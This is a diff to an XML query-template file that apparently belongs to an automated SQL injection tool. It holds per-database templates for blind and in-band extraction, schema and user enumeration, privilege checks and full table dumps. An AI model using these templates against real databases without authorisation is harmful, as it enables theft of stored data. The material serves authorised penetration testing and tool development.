<blind query="SELECT TOP 1 name FROM master..sysdatabases WHERE name NOT IN (SELECT TOP %d name FROM master..sysdatabases ORDER BY name) ORDER BY name" count="SELECT LTRIM(STR(COUNT(name))) FROM master..sysdatabases"/>
|
||||||
</dbs>
|
</dbs>
|
||||||
<tables>
|
<tables>
|
||||||
<inband query="SELECT %s..sysusers.name+'.'+%s..sysobjects.name FROM %s..sysobjects INNER JOIN %s..sysusers ON %s..sysobjects.uid = %s..sysusers.uid WHERE %s..sysobjects.xtype IN ('u','v')" query2="SELECT table_schema+'.'+table_name FROM information_schema.tables WHERE table_catalog='%s'" query3="SELECT name FROM %s..sysobjects WHERE xtype = 'U'"/>
|
<inband query="SELECT %s..sysusers.name+'.'+%s..sysobjects.name FROM %s..sysobjects INNER JOIN %s..sysusers ON %s..sysobjects.uid=%s..sysusers.uid WHERE %s..sysobjects.xtype IN ('u','v')" query2="SELECT table_schema+'.'+table_name FROM information_schema.tables WHERE table_catalog='%s'" query3="SELECT name FROM %s..sysobjects WHERE xtype='U'"/>
|
||||||
<blind query="SELECT TOP 1 %s..sysusers.name+'.'+%s..sysobjects.name FROM %s..sysobjects INNER JOIN %s..sysusers ON %s..sysobjects.uid = %s..sysusers.uid WHERE %s..sysobjects.xtype IN ('u','v') AND %s..sysusers.name+'.'+%s..sysobjects.name NOT IN (SELECT TOP %d %s..sysusers.name+'.'+%s..sysobjects.name FROM %s..sysobjects INNER JOIN %s..sysusers ON %s..sysobjects.uid = %s..sysusers.uid WHERE %s..sysobjects.xtype IN ('u','v') ORDER BY %s..sysusers.name+'.'+%s..sysobjects.name) ORDER BY %s..sysusers.name+'.'+%s..sysobjects.name" count="SELECT LTRIM(STR(COUNT(name))) FROM %s..sysobjects WHERE %s..sysobjects.xtype IN ('u','v')" query2="SELECT TOP 1 table_schema+'.'+table_name FROM information_schema.tables WHERE table_catalog='%s' AND table_schema+'.'+table_name NOT IN (SELECT TOP %d table_schema+'.'+table_name FROM information_schema.tables WHERE table_catalog='%s' ORDER BY table_schema+'.'+table_name) ORDER BY table_schema+'.'+table_name" count2="SELECT LTRIM(STR(COUNT(table_name))) FROM information_schema.tables WHERE table_catalog='%s'" query3="SELECT TOP 1 name FROM %s..sysobjects WHERE xtype = 'U' AND name NOT IN (SELECT TOP %d name FROM %s..sysobjects WHERE xtype = 'U' ORDER BY name) ORDER BY name" count3="SELECT COUNT(name) FROM %s..sysobjects WHERE xtype = 'U'"/>
|
<blind query="SELECT TOP 1 %s..sysusers.name+'.'+%s..sysobjects.name FROM %s..sysobjects INNER JOIN %s..sysusers ON %s..sysobjects.uid=%s..sysusers.uid WHERE %s..sysobjects.xtype IN ('u','v') AND %s..sysusers.name+'.'+%s..sysobjects.name NOT IN (SELECT TOP %d %s..sysusers.name+'.'+%s..sysobjects.name FROM %s..sysobjects INNER JOIN %s..sysusers ON %s..sysobjects.uid=%s..sysusers.uid WHERE %s..sysobjects.xtype IN ('u','v') ORDER BY %s..sysusers.name+'.'+%s..sysobjects.name) ORDER BY %s..sysusers.name+'.'+%s..sysobjects.name" count="SELECT LTRIM(STR(COUNT(name))) FROM %s..sysobjects WHERE %s..sysobjects.xtype IN ('u','v')" query2="SELECT TOP 1 table_schema+'.'+table_name FROM information_schema.tables WHERE table_catalog='%s' AND table_schema+'.'+table_name NOT IN (SELECT TOP %d table_schema+'.'+table_name FROM information_schema.tables WHERE table_catalog='%s' ORDER BY table_schema+'.'+table_name) ORDER BY table_schema+'.'+table_name" count2="SELECT LTRIM(STR(COUNT(table_name))) FROM information_schema.tables WHERE table_catalog='%s'" query3="SELECT TOP 1 name FROM %s..sysobjects WHERE xtype='U' AND name NOT IN (SELECT TOP %d name FROM %s..sysobjects WHERE xtype='U' ORDER BY name) ORDER BY name" count3="SELECT COUNT(name) FROM %s..sysobjects WHERE xtype='U'"/>
|
||||||
</tables>
|
</tables>
|
||||||
<columns>
|
<columns>
|
||||||
<inband query="SELECT %s..syscolumns.name,TYPE_NAME(%s..syscolumns.xtype) FROM %s..syscolumns,%s..sysobjects WHERE %s..syscolumns.id=%s..sysobjects.id AND %s..sysobjects.name='%s'" query2="SELECT COL_NAME(OBJECT_ID('%s.%s'),%d)" condition="[DB]..syscolumns.name"/>
|
<inband query="SELECT %s..syscolumns.name,TYPE_NAME(%s..syscolumns.xtype) FROM %s..syscolumns,%s..sysobjects WHERE %s..syscolumns.id=%s..sysobjects.id AND %s..sysobjects.name='%s'" query2="SELECT COL_NAME(OBJECT_ID('%s.%s'),%d)" condition="[DB]..syscolumns.name"/>
|
||||||
@@ -225,7 +223,6 @@
|
|||||||
</search_column>
|
</search_column>
|
||||||
</dbms>
|
</dbms>
|
||||||
|
|
||||||
<!-- Oracle -->
|
|
||||||
<dbms value="Oracle">
|
<dbms value="Oracle">
|
||||||
<cast query="CAST(%s AS VARCHAR(4000))"/>
|
<cast query="CAST(%s AS VARCHAR(4000))"/>
|
||||||
<length query="LENGTH(%s)"/>
|
<length query="LENGTH(%s)"/>
|
||||||
@@ -322,7 +319,6 @@
|
|||||||
</search_column>
|
</search_column>
|
||||||
</dbms>
|
</dbms>
|
||||||
|
|
||||||
<!-- SQLite -->
|
|
||||||
<dbms value="SQLite">
|
<dbms value="SQLite">
|
||||||
<cast query="CAST(%s AS TEXT)" dbms_version=">=3.0"/>
|
<cast query="CAST(%s AS TEXT)" dbms_version=">=3.0"/>
|
||||||
<!-- NOTE: On SQLite version 2 everything is stored as a string (Reference: http://www.mono-project.com/SQLite) -->
|
<!-- NOTE: On SQLite version 2 everything is stored as a string (Reference: http://www.mono-project.com/SQLite) -->
|
||||||
@@ -376,7 +372,6 @@
|
|||||||
<search_column/>
|
<search_column/>
|
||||||
</dbms>
|
</dbms>
|
||||||
|
|
||||||
<!-- Microsoft Access -->
|
|
||||||
<dbms value="Microsoft Access">
|
<dbms value="Microsoft Access">
|
||||||
<cast query="RTRIM(CVAR(%s))"/>
|
<cast query="RTRIM(CVAR(%s))"/>
|
||||||
<length query="LEN(RTRIM(CVAR(%s)))"/>
|
<length query="LEN(RTRIM(CVAR(%s)))"/>
|
||||||
@@ -421,7 +416,6 @@
|
|||||||
<search_column/>
|
<search_column/>
|
||||||
</dbms>
|
</dbms>
|
||||||
|
|
||||||
<!-- Firebird -->
|
|
||||||
<dbms value="Firebird">
|
<dbms value="Firebird">
|
||||||
<cast query="TRIM(CAST(%s AS VARCHAR(10000)))"/>
|
<cast query="TRIM(CAST(%s AS VARCHAR(10000)))"/>
|
||||||
<length query="CHAR_LENGTH(TRIM(%s))"/>
|
<length query="CHAR_LENGTH(TRIM(%s))"/>
|
||||||
@@ -451,8 +445,8 @@
|
|||||||
<blind query="SELECT FIRST 1 SKIP %d DISTINCT(RDB$USER) FROM RDB$USER_PRIVILEGES" count="SELECT COUNT(DISTINCT(RDB$USER)) FROM RDB$USER_PRIVILEGES"/>
|
<blind query="SELECT FIRST 1 SKIP %d DISTINCT(RDB$USER) FROM RDB$USER_PRIVILEGES" count="SELECT COUNT(DISTINCT(RDB$USER)) FROM RDB$USER_PRIVILEGES"/>
|
||||||
</users>
|
</users>
|
||||||
<tables>
|
<tables>
|
||||||
<inband query="SELECT RDB$RELATION_NAME FROM RDB$RELATIONS WHERE RDB$VIEW_BLR IS NULL AND (RDB$SYSTEM_FLAG IS NULL OR RDB$SYSTEM_FLAG = 0)"/>
|
<inband query="SELECT RDB$RELATION_NAME FROM RDB$RELATIONS WHERE RDB$VIEW_BLR IS NULL AND (RDB$SYSTEM_FLAG IS NULL OR RDB$SYSTEM_FLAG=0)"/>
|
||||||
<blind query="SELECT FIRST 1 SKIP %d RDB$RELATION_NAME FROM RDB$RELATIONS WHERE RDB$VIEW_BLR IS NULL AND (RDB$SYSTEM_FLAG IS NULL OR RDB$SYSTEM_FLAG = 0)" count="SELECT COUNT(RDB$RELATION_NAME) FROM RDB$RELATIONS WHERE RDB$VIEW_BLR IS NULL AND (RDB$SYSTEM_FLAG IS NULL OR RDB$SYSTEM_FLAG = 0)"/>
|
<blind query="SELECT FIRST 1 SKIP %d RDB$RELATION_NAME FROM RDB$RELATIONS WHERE RDB$VIEW_BLR IS NULL AND (RDB$SYSTEM_FLAG IS NULL OR RDB$SYSTEM_FLAG=0)" count="SELECT COUNT(RDB$RELATION_NAME) FROM RDB$RELATIONS WHERE RDB$VIEW_BLR IS NULL AND (RDB$SYSTEM_FLAG IS NULL OR RDB$SYSTEM_FLAG=0)"/>
|
||||||
</tables>
|
</tables>
|
||||||
<privileges>
|
<privileges>
|
||||||
<inband query="SELECT RDB$USER,RDB$PRIVILEGE FROM RDB$USER_PRIVILEGES" condition="RDB$USER"/>
|
<inband query="SELECT RDB$USER,RDB$PRIVILEGE FROM RDB$USER_PRIVILEGES" condition="RDB$USER"/>
|
||||||
@@ -462,9 +456,9 @@
|
|||||||
<statements/>
|
<statements/>
|
||||||
<dbs/>
|
<dbs/>
|
||||||
<columns>
|
<columns>
|
||||||
<!--<inband query="SELECT r.RDB$FIELD_NAME,CASE f.RDB$FIELD_TYPE WHEN 261 THEN 'BLOB' WHEN 14 THEN 'CHAR' WHEN 40 THEN 'CSTRING' WHEN 11 THEN 'D_FLOAT' WHEN 27 THEN 'DOUBLE' WHEN 10 THEN 'FLOAT' WHEN 16 THEN 'INT64' WHEN 8 THEN 'INTEGER' WHEN 9 THEN 'QUAD' WHEN 7 THEN 'SMALLINT' WHEN 12 THEN 'DATE' WHEN 13 THEN 'TIME' WHEN 35 THEN 'TIMESTAMP' WHEN 37 THEN 'VARCHAR' ELSE 'UNKNOWN' END AS field_type FROM RDB$RELATION_FIELDS r LEFT JOIN RDB$FIELDS f ON r.RDB$FIELD_SOURCE = f.RDB$FIELD_NAME WHERE r.RDB$RELATION_NAME='%s'"/>-->
|
<!--<inband query="SELECT r.RDB$FIELD_NAME,CASE f.RDB$FIELD_TYPE WHEN 261 THEN 'BLOB' WHEN 14 THEN 'CHAR' WHEN 40 THEN 'CSTRING' WHEN 11 THEN 'D_FLOAT' WHEN 27 THEN 'DOUBLE' WHEN 10 THEN 'FLOAT' WHEN 16 THEN 'INT64' WHEN 8 THEN 'INTEGER' WHEN 9 THEN 'QUAD' WHEN 7 THEN 'SMALLINT' WHEN 12 THEN 'DATE' WHEN 13 THEN 'TIME' WHEN 35 THEN 'TIMESTAMP' WHEN 37 THEN 'VARCHAR' ELSE 'UNKNOWN' END AS field_type FROM RDB$RELATION_FIELDS r LEFT JOIN RDB$FIELDS f ON r.RDB$FIELD_SOURCE=f.RDB$FIELD_NAME WHERE r.RDB$RELATION_NAME='%s'"/>-->
|
||||||
<inband query="SELECT r.RDB$FIELD_NAME,f.RDB$FIELD_TYPE FROM RDB$RELATION_FIELDS r LEFT JOIN RDB$FIELDS f ON r.RDB$FIELD_SOURCE = f.RDB$FIELD_NAME WHERE r.RDB$RELATION_NAME='%s'"/>
|
<inband query="SELECT r.RDB$FIELD_NAME,f.RDB$FIELD_TYPE FROM RDB$RELATION_FIELDS r LEFT JOIN RDB$FIELDS f ON r.RDB$FIELD_SOURCE=f.RDB$FIELD_NAME WHERE r.RDB$RELATION_NAME='%s'" condition="r.RDB$FIELD_NAME"/>
|
||||||
<blind query="SELECT r.RDB$FIELD_NAME FROM RDB$RELATION_FIELDS r LEFT JOIN RDB$FIELDS f ON r.RDB$FIELD_SOURCE = f.RDB$FIELD_NAME WHERE r.RDB$RELATION_NAME='%s'" query2="SELECT f.RDB$FIELD_TYPE FROM RDB$RELATION_FIELDS r LEFT JOIN RDB$FIELDS f ON r.RDB$FIELD_SOURCE = f.RDB$FIELD_NAME WHERE r.RDB$RELATION_NAME='%s' AND r.RDB$FIELD_NAME='%s'" count="SELECT COUNT(r.RDB$FIELD_NAME) FROM RDB$RELATION_FIELDS r LEFT JOIN RDB$FIELDS f ON r.RDB$FIELD_SOURCE = f.RDB$FIELD_NAME WHERE r.RDB$RELATION_NAME='%s'"/>
|
<blind query="SELECT r.RDB$FIELD_NAME FROM RDB$RELATION_FIELDS r LEFT JOIN RDB$FIELDS f ON r.RDB$FIELD_SOURCE=f.RDB$FIELD_NAME WHERE r.RDB$RELATION_NAME='%s'" query2="SELECT f.RDB$FIELD_TYPE FROM RDB$RELATION_FIELDS r LEFT JOIN RDB$FIELDS f ON r.RDB$FIELD_SOURCE=f.RDB$FIELD_NAME WHERE r.RDB$RELATION_NAME='%s' AND r.RDB$FIELD_NAME='%s'" count="SELECT COUNT(r.RDB$FIELD_NAME) FROM RDB$RELATION_FIELDS r LEFT JOIN RDB$FIELDS f ON r.RDB$FIELD_SOURCE=f.RDB$FIELD_NAME WHERE r.RDB$RELATION_NAME='%s'" condition="r.RDB$FIELD_NAME"/>
|
||||||
</columns>
|
</columns>
|
||||||
<dump_table>
|
<dump_table>
|
||||||
<inband query="SELECT %s FROM %s"/>
|
<inband query="SELECT %s FROM %s"/>
|
||||||
@@ -472,18 +466,15 @@
|
|||||||
</dump_table>
|
</dump_table>
|
||||||
<search_db/>
|
<search_db/>
|
||||||
<search_table>
|
<search_table>
|
||||||
<inband query="SELECT RDB$RELATION_NAME FROM RDB$RELATIONS WHERE RDB$VIEW_BLR IS NULL AND (RDB$SYSTEM_FLAG IS NULL OR RDB$SYSTEM_FLAG = 0) AND %s" condition="RDB$RELATION_NAME" condition2=""/>
|
<inband query="SELECT RDB$RELATION_NAME FROM RDB$RELATIONS WHERE RDB$VIEW_BLR IS NULL AND (RDB$SYSTEM_FLAG IS NULL OR RDB$SYSTEM_FLAG=0) AND %s" condition="RDB$RELATION_NAME" condition2=""/>
|
||||||
<blind query="" query2="SELECT FIRST 1 SKIP %d RDB$RELATION_NAME FROM RDB$RELATIONS WHERE RDB$VIEW_BLR IS NULL AND (RDB$SYSTEM_FLAG IS NULL OR RDB$SYSTEM_FLAG = 0)" count="" count2="SELECT COUNT(RDB$RELATION_NAME) FROM RDB$RELATIONS WHERE RDB$VIEW_BLR IS NULL AND (RDB$SYSTEM_FLAG IS NULL OR RDB$SYSTEM_FLAG = 0)" condition="RDB$RELATION_NAME" condition2=""/>
|
<blind query="" query2="SELECT FIRST 1 SKIP %d RDB$RELATION_NAME FROM RDB$RELATIONS WHERE RDB$VIEW_BLR IS NULL AND (RDB$SYSTEM_FLAG IS NULL OR RDB$SYSTEM_FLAG=0)" count="" count2="SELECT COUNT(RDB$RELATION_NAME) FROM RDB$RELATIONS WHERE RDB$VIEW_BLR IS NULL AND (RDB$SYSTEM_FLAG IS NULL OR RDB$SYSTEM_FLAG=0)" condition="RDB$RELATION_NAME" condition2=""/>
|
||||||
</search_table>
|
</search_table>
|
||||||
<search_column/>
|
<search_column>
|
||||||
|
<inband query="SELECT r.RDB$RELATION_NAME FROM RDB$RELATION_FIELDS r LEFT JOIN RDB$FIELDS f ON r.RDB$FIELD_SOURCE=f.RDB$FIELD_NAME WHERE %s" condition="r.RDB$FIELD_NAME" condition2="" condition3="r.RDB$RELATION_NAME"/>
|
||||||
|
<blind query="" query2="SELECT DISTINCT(r.RDB$RELATION_NAME) FROM RDB$RELATION_FIELDS r LEFT JOIN RDB$FIELDS f ON r.RDB$FIELD_SOURCE=f.RDB$FIELD_NAME WHERE %s" count="" count2="SELECT COUNT(DISTINCT(r.RDB$RELATION_NAME)) FROM RDB$RELATION_FIELDS r LEFT JOIN RDB$FIELDS f ON r.RDB$FIELD_SOURCE=f.RDB$FIELD_NAME WHERE %s" condition="r.RDB$FIELD_NAME" condition2="" condition3="r.RDB$RELATION_NAME"/>
|
||||||
|
</search_column>
|
||||||
</dbms>
|
</dbms>
|
||||||
|
|
||||||
<!-- SAP MaxDB -->
|
|
||||||
<!-- http://dev.mysql.com/tech-resources/articles/maxdb-php-ready-for-web.html -->
|
|
||||||
<!-- http://dev.mysql.com/doc/refman/5.0/es/maxdb-reserved-words.html -->
|
|
||||||
<!-- http://maxdb.sap.com/doc/7_6/default.htm -->
|
|
||||||
<!-- http://www.sapdb.org/7.4/htmhelp/35/f8823cb7e5d42be10000000a114027/content.htm -->
|
|
||||||
<!-- http://www.ximido.de/research/PenTestingMaxDB.pdf -->
|
|
||||||
<dbms value="SAP MaxDB">
|
<dbms value="SAP MaxDB">
|
||||||
<length query="LENGTH(%s)"/>
|
<length query="LENGTH(%s)"/>
|
||||||
<isnull query="VALUE(%s,' ')" query2="IFNULL(%s,' ')"/>
|
<isnull query="VALUE(%s,' ')" query2="IFNULL(%s,' ')"/>
|
||||||
@@ -499,12 +490,12 @@
|
|||||||
<comment query="--" query2="#"/>
|
<comment query="--" query2="#"/>
|
||||||
<substring query="SUBSTR((%s),%d,%d)"/>
|
<substring query="SUBSTR((%s),%d,%d)"/>
|
||||||
<concatenate query="CONCAT(%s,%s)"/>
|
<concatenate query="CONCAT(%s,%s)"/>
|
||||||
<case query="SELECT (CASE WHEN (%s) THEN 1 ELSE 0 END)"/>
|
<case query="SELECT (CASE WHEN (%s) THEN '1' ELSE '0' END) FROM VERSIONS"/>
|
||||||
<hex query="HEX(%s)"/>
|
<hex query="HEX(%s)"/>
|
||||||
<inference query="SUBSTR((%s),%d,1)>'%c'"/>
|
<inference query="SUBSTR((%s),%d,1)>'%c'"/>
|
||||||
<banner query="SELECT ID FROM SYSINFO.VERSION"/>
|
<banner query="SELECT ID FROM SYSINFO.VERSION"/>
|
||||||
<current_user query="SELECT USER() FROM DUAL"/>
|
<current_user query="SELECT USER() FROM VERSIONS"/>
|
||||||
<current_db query="SELECT DATABASE() FROM DUAL"/>
|
<current_db query="SELECT USER() FROM VERSIONS"/>
|
||||||
<hostname/>
|
<hostname/>
|
||||||
<table_comment/>
|
<table_comment/>
|
||||||
<column_comment/>
|
<column_comment/>
|
||||||
@@ -534,9 +525,12 @@
|
|||||||
<inband query="SELECT %s FROM %s"/>
|
<inband query="SELECT %s FROM %s"/>
|
||||||
<blind query="SELECT MIN(%s) FROM %s WHERE CHR(%s)>'%s'" query2="SELECT MAX(%s) FROM %s WHERE CHR(%s) LIKE '%s'" count="SELECT COUNT(*) FROM %s" count2="SELECT COUNT(*) FROM (SELECT DISTINCT %s FROM %s) AS qq"/>
|
<blind query="SELECT MIN(%s) FROM %s WHERE CHR(%s)>'%s'" query2="SELECT MAX(%s) FROM %s WHERE CHR(%s) LIKE '%s'" count="SELECT COUNT(*) FROM %s" count2="SELECT COUNT(*) FROM (SELECT DISTINCT %s FROM %s) AS qq"/>
|
||||||
</dump_table>
|
</dump_table>
|
||||||
|
<search_db>
|
||||||
|
<inband query="SELECT schemaname FROM domain.tables WHERE %s" condition="schemaname"/>
|
||||||
|
<blind query="SELECT DISTINCT(schemaname) FROM domain.tables WHERE %s" count="SELECT COUNT(DISTINCT(schemaname)) FROM domain.tables WHERE %s" condition="schemaname"/>
|
||||||
|
</search_db>
|
||||||
</dbms>
|
</dbms>
|
||||||
|
|
||||||
<!-- Sybase -->
|
|
||||||
<dbms value="Sybase">
|
<dbms value="Sybase">
|
||||||
<cast query="CONVERT(VARCHAR(4000),%s)"/>
|
<cast query="CONVERT(VARCHAR(4000),%s)"/>
|
||||||
<length query="LTRIM(STR(LEN(%s)))"/>
|
<length query="LTRIM(STR(LEN(%s)))"/>
|
||||||
@@ -606,7 +600,6 @@
|
|||||||
</search_column>
|
</search_column>
|
||||||
</dbms>
|
</dbms>
|
||||||
|
|
||||||
<!-- IBM DB2 -->
|
|
||||||
<dbms value="IBM DB2">
|
<dbms value="IBM DB2">
|
||||||
<!-- Casting to varchar does not work with version < v9, so we had to use char(254) instead -->
|
<!-- Casting to varchar does not work with version < v9, so we had to use char(254) instead -->
|
||||||
<cast query="RTRIM(CAST(%s AS CHAR(254)))"/>
|
<cast query="RTRIM(CAST(%s AS CHAR(254)))"/>
|
||||||
@@ -631,7 +624,7 @@
|
|||||||
<banner query="SELECT service_level FROM TABLE(sysproc.env_get_inst_info())" query2="SELECT versionnumber FROM (SELECT ROW_NUMBER() OVER (ORDER BY versionnumber DESC) AS LIMIT,versionnumber FROM sysibm.sysversions) AS qq WHERE LIMIT=1"/>
|
<banner query="SELECT service_level FROM TABLE(sysproc.env_get_inst_info())" query2="SELECT versionnumber FROM (SELECT ROW_NUMBER() OVER (ORDER BY versionnumber DESC) AS LIMIT,versionnumber FROM sysibm.sysversions) AS qq WHERE LIMIT=1"/>
|
||||||
<current_user query="SELECT user FROM SYSIBM.SYSDUMMY1"/>
|
<current_user query="SELECT user FROM SYSIBM.SYSDUMMY1"/>
|
||||||
<!-- NOTE: On DB2 we use the current user as default schema (database) -->
|
<!-- NOTE: On DB2 we use the current user as default schema (database) -->
|
||||||
<current_db query="SELECT current server FROM SYSIBM.SYSDUMMY1"/>
|
<current_db query="SELECT user FROM SYSIBM.SYSDUMMY1"/>
|
||||||
<hostname query="SELECT host_name FROM TABLE(sysproc.env_get_sys_info())"/>
|
<hostname query="SELECT host_name FROM TABLE(sysproc.env_get_sys_info())"/>
|
||||||
<table_comment/>
|
<table_comment/>
|
||||||
<column_comment/>
|
<column_comment/>
|
||||||
@@ -679,7 +672,6 @@
|
|||||||
</search_column>
|
</search_column>
|
||||||
</dbms>
|
</dbms>
|
||||||
|
|
||||||
<!-- Hyper SQL Database -->
|
|
||||||
<dbms value="HSQLDB">
|
<dbms value="HSQLDB">
|
||||||
<cast query="CAST(%s AS LONGVARCHAR)"/>
|
<cast query="CAST(%s AS LONGVARCHAR)"/>
|
||||||
<length query="CHAR_LENGTH(%s)"/>
|
<length query="CHAR_LENGTH(%s)"/>
|
||||||
@@ -696,7 +688,8 @@
|
|||||||
<substring query="SUBSTR((%s),%d,%d)"/>
|
<substring query="SUBSTR((%s),%d,%d)"/>
|
||||||
<concatenate query="CONCAT(%s,%s)"/>
|
<concatenate query="CONCAT(%s,%s)"/>
|
||||||
<case query="SELECT (CASE WHEN (%s) THEN 1 ELSE 0 END)"/>
|
<case query="SELECT (CASE WHEN (%s) THEN 1 ELSE 0 END)"/>
|
||||||
<hex query="RAWTOHEX(%s)"/>
|
<!-- NOTE: RAWTOHEX() doesn't accept non-binary values -->
|
||||||
|
<!-- <hex query="RAWTOHEX(%s)"/> -->
|
||||||
<inference query="ASCII(SUBSTR((%s),%d,1))>%d"/>
|
<inference query="ASCII(SUBSTR((%s),%d,1))>%d"/>
|
||||||
<banner query="DATABASE_VERSION()"/>
|
<banner query="DATABASE_VERSION()"/>
|
||||||
<current_user query="CURRENT_USER"/>
|
<current_user query="CURRENT_USER"/>
|
||||||
@@ -704,7 +697,7 @@
|
|||||||
<hostname/>
|
<hostname/>
|
||||||
<table_comment/>
|
<table_comment/>
|
||||||
<column_comment/>
|
<column_comment/>
|
||||||
<is_dba query="SELECT ADMIN FROM INFORMATION_SCHEMA.USERS WHERE NAME=CURRENT_USER"/>
|
<is_dba query="SELECT ADMIN FROM INFORMATION_SCHEMA.SYSTEM_USERS WHERE USER_NAME=CURRENT_USER"/>
|
||||||
<check_udf/>
|
<check_udf/>
|
||||||
<users>
|
<users>
|
||||||
<!-- LIMIT is needed at start for v1.7 this gets mangled unless no-cast is used -->
|
<!-- LIMIT is needed at start for v1.7 this gets mangled unless no-cast is used -->
|
||||||
@@ -763,7 +756,7 @@
|
|||||||
<count query="COUNT(%s)"/>
|
<count query="COUNT(%s)"/>
|
||||||
<comment query="--" query2="//"/>
|
<comment query="--" query2="//"/>
|
||||||
<substring query="SUBSTR((%s),%d,%d)"/>
|
<substring query="SUBSTR((%s),%d,%d)"/>
|
||||||
<concatenate query="CONCAT(%s,%s)"/>
|
<concatenate query="%s||%s"/>
|
||||||
<case query="SELECT (CASE WHEN (%s) THEN 1 ELSE 0 END)"/>
|
<case query="SELECT (CASE WHEN (%s) THEN 1 ELSE 0 END)"/>
|
||||||
<hex query="RAWTOHEX(%s)"/>
|
<hex query="RAWTOHEX(%s)"/>
|
||||||
<inference query="ASCII(SUBSTR((%s),%d,1))>%d"/>
|
<inference query="ASCII(SUBSTR((%s),%d,1))>%d"/>
|
||||||
@@ -813,9 +806,6 @@
|
|||||||
</search_column>
|
</search_column>
|
||||||
</dbms>
|
</dbms>
|
||||||
|
|
||||||
<!-- Informix -->
|
|
||||||
<!-- https://www.ibm.com/support/knowledgecenter/SSGU8G_11.70.0/com.ibm.sqlr.doc/ids_sqr_072.htm -->
|
|
||||||
<!-- https://www.ibm.com/support/knowledgecenter/SSGU8G_12.1.0/com.ibm.sec.doc/ids_am_041.htm -->
|
|
||||||
<dbms value="Informix">
|
<dbms value="Informix">
|
||||||
<cast query="RTRIM(TO_CHAR(%s))"/>
|
<cast query="RTRIM(TO_CHAR(%s))"/>
|
||||||
<length query="CHAR_LENGTH(RTRIM(%s))"/>
|
<length query="CHAR_LENGTH(RTRIM(%s))"/>
|
||||||
@@ -832,7 +822,8 @@
|
|||||||
<substring query="SUBSTR((%s),%d,%d)"/>
|
<substring query="SUBSTR((%s),%d,%d)"/>
|
||||||
<concatenate query="%s||%s"/>
|
<concatenate query="%s||%s"/>
|
||||||
<case query="SELECT (CASE WHEN (%s) THEN '1' ELSE '0' END) FROM SYSMASTER:SYSDUAL"/>
|
<case query="SELECT (CASE WHEN (%s) THEN '1' ELSE '0' END) FROM SYSMASTER:SYSDUAL"/>
|
||||||
<hex query="HEX(%s)"/>
|
<!-- NOTE: HEX() only accepts integer values -->
|
||||||
|
<!-- <hex query="HEX(%s)"/> -->
|
||||||
<!-- http://www.dbforums.com/showthread.php?1660588-select-first-and-union&p=6478613#post6478613 -->
|
<!-- http://www.dbforums.com/showthread.php?1660588-select-first-and-union&p=6478613#post6478613 -->
|
||||||
<inference query="ASCII(SUBSTR((SELECT * FROM (%s)),%d,1))>%d"/>
|
<inference query="ASCII(SUBSTR((SELECT * FROM (%s)),%d,1))>%d"/>
|
||||||
<banner query="SELECT DBINFO('VERSION','FULL') FROM SYSMASTER:SYSDUAL"/>
|
<banner query="SELECT DBINFO('VERSION','FULL') FROM SYSMASTER:SYSDUAL"/>
|
||||||
@@ -877,7 +868,6 @@
|
|||||||
<search_column/>
|
<search_column/>
|
||||||
</dbms>
|
</dbms>
|
||||||
|
|
||||||
<!-- MonetDB -->
|
|
||||||
<dbms value="MonetDB">
|
<dbms value="MonetDB">
|
||||||
<cast query="CAST(%s AS VARCHAR(4000))"/>
|
<cast query="CAST(%s AS VARCHAR(4000))"/>
|
||||||
<length query="LENGTH(%s)"/>
|
<length query="LENGTH(%s)"/>
|
||||||
@@ -892,7 +882,7 @@
|
|||||||
<count query="COUNT(%s)"/>
|
<count query="COUNT(%s)"/>
|
||||||
<comment query="--" query2="#"/>
|
<comment query="--" query2="#"/>
|
||||||
<substring query="SUBSTRING((%s),%d,%d)"/>
|
<substring query="SUBSTRING((%s),%d,%d)"/>
|
||||||
<concatenate query="CONCAT(%s,%s)"/>
|
<concatenate query="%s||%s"/>
|
||||||
<case query="SELECT (CASE WHEN (%s) THEN 1 ELSE 0 END)"/>
|
<case query="SELECT (CASE WHEN (%s) THEN 1 ELSE 0 END)"/>
|
||||||
<inference query="ASCII(SUBSTRING((%s),%d,1))>%d"/>
|
<inference query="ASCII(SUBSTRING((%s),%d,1))>%d"/>
|
||||||
<banner query="SELECT value FROM environment WHERE name='monet_version'"/>
|
<banner query="SELECT value FROM environment WHERE name='monet_version'"/>
|
||||||
@@ -942,7 +932,6 @@
|
|||||||
</search_column>
|
</search_column>
|
||||||
</dbms>
|
</dbms>
|
||||||
|
|
||||||
<!-- Apache Derby -->
|
|
||||||
<dbms value="Apache Derby">
|
<dbms value="Apache Derby">
|
||||||
<!-- NOTE: CHAR(%s) causes 'A truncation error was encountered trying to shrink CHAR' -->
|
<!-- NOTE: CHAR(%s) causes 'A truncation error was encountered trying to shrink CHAR' -->
|
||||||
<cast query="RTRIM(CAST(%s AS CHAR(254)))"/>
|
<cast query="RTRIM(CAST(%s AS CHAR(254)))"/>
|
||||||
@@ -1011,7 +1000,6 @@
|
|||||||
</search_column>
|
</search_column>
|
||||||
</dbms>
|
</dbms>
|
||||||
|
|
||||||
<!-- Vertica -->
|
|
||||||
<dbms value="Vertica">
|
<dbms value="Vertica">
|
||||||
<cast query="CAST(%s AS CHARACTER(10000))"/>
|
<cast query="CAST(%s AS CHARACTER(10000))"/>
|
||||||
<length query="LENGTH(%s)"/>
|
<length query="LENGTH(%s)"/>
|
||||||
@@ -1088,9 +1076,8 @@
|
|||||||
</search_column>
|
</search_column>
|
||||||
</dbms>
|
</dbms>
|
||||||
|
|
||||||
<!-- Mckoi -->
|
|
||||||
<!-- NOTE: DBMS with minimalistic set of (restricted) features -->
|
|
||||||
<dbms value="Mckoi">
|
<dbms value="Mckoi">
|
||||||
|
<!-- NOTE: DBMS with minimalistic set of (restricted) features -->
|
||||||
<cast query="CONCAT('',%s)"/>
|
<cast query="CONCAT('',%s)"/>
|
||||||
<length query="LENGTH(%s)"/>
|
<length query="LENGTH(%s)"/>
|
||||||
<isnull query="IF(%s IS NULL,' ', %s)"/>
|
<isnull query="IF(%s IS NULL,' ', %s)"/>
|
||||||
@@ -1130,7 +1117,6 @@
|
|||||||
<search_column/>
|
<search_column/>
|
||||||
</dbms>
|
</dbms>
|
||||||
|
|
||||||
<!-- Presto -->
|
|
||||||
<dbms value="Presto">
|
<dbms value="Presto">
|
||||||
<cast query="CAST(%s AS VARCHAR(4000))"/>
|
<cast query="CAST(%s AS VARCHAR(4000))"/>
|
||||||
<length query="LENGTH(%s)"/>
|
<length query="LENGTH(%s)"/>
|
||||||
@@ -1192,7 +1178,6 @@
|
|||||||
</search_column>
|
</search_column>
|
||||||
</dbms>
|
</dbms>
|
||||||
|
|
||||||
<!-- Altibase -->
|
|
||||||
<dbms value="Altibase">
|
<dbms value="Altibase">
|
||||||
<cast query="CAST(%s AS VARCHAR(4000))"/>
